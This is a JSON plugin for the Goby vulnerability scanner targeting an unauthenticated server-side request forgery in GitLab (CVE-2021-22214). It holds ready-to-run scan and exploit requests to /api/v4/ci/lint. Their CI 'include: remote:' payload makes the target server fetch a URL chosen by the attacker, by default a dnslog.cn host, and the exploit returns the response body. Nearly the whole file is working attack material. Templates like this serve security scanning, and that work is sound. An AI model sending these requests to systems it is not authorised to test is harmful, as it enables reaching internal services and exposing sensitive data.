GitLab_SSRF_CVE_2021_22214.json

{
      "Name": "GitLab SSRF CVE-2021-22214",
      "Level": "3",
      "Tags": [],
      "GobyQuery": "app=\"GitLab\"",
      "Description": "GitLab存在前台未授权SSRF漏洞，未授权的攻击者也可以利用该漏洞执行SSRF攻击（CVE-2021-22214）。该漏洞源于对用户提供数据的验证不足，远程攻击者可通过发送特殊构造的 HTTP 请求，欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。",
      "Product": "Gitlab > 10.5",
      "Homepage": "https://gobies.org/",
      "Author": "luckying",
      "Impact": "",
      "Recommandation": "",
      "References": [
            "https://gobies.org/"
      ],
	  "HasExp": true,
	  "ExpParams": [
		{
			"name": "URL",
			"type": "input",
			"value": "test.dnslog.cn",
			"show": ""
		}
	  ],
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/api/v4/ci/lint",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/json",
                              "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
                              "Content-Length": ""
                        },
                        "data_type": "text",
                        "data": "{\"include_merged_yaml\":true,\"content\":\"include:\\n  remote: http://test.dnslog.cn/api/v1/targets?test.yml\",\"wglt1cskpv\":\"=\"}"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "test.dnslog.cn",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
	  "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/api/v4/ci/lint",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/json",
                              "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
                              "Content-Length": ""
                        },
                        "data_type": "text",
                        "data": "{\"include_merged_yaml\":true,\"content\":\"include:\\n  remote: http://{{{URL}}}/api/v1/targets?test.yml\",\"wglt1cskpv\":\"=\"}"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "test.dnslog.cn",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
					"output|lastbody"
				  ]
            }
      ],
      "PostTime": "2021-07-01 20:34:22",
      "GobyVersion": "1.8.268"
}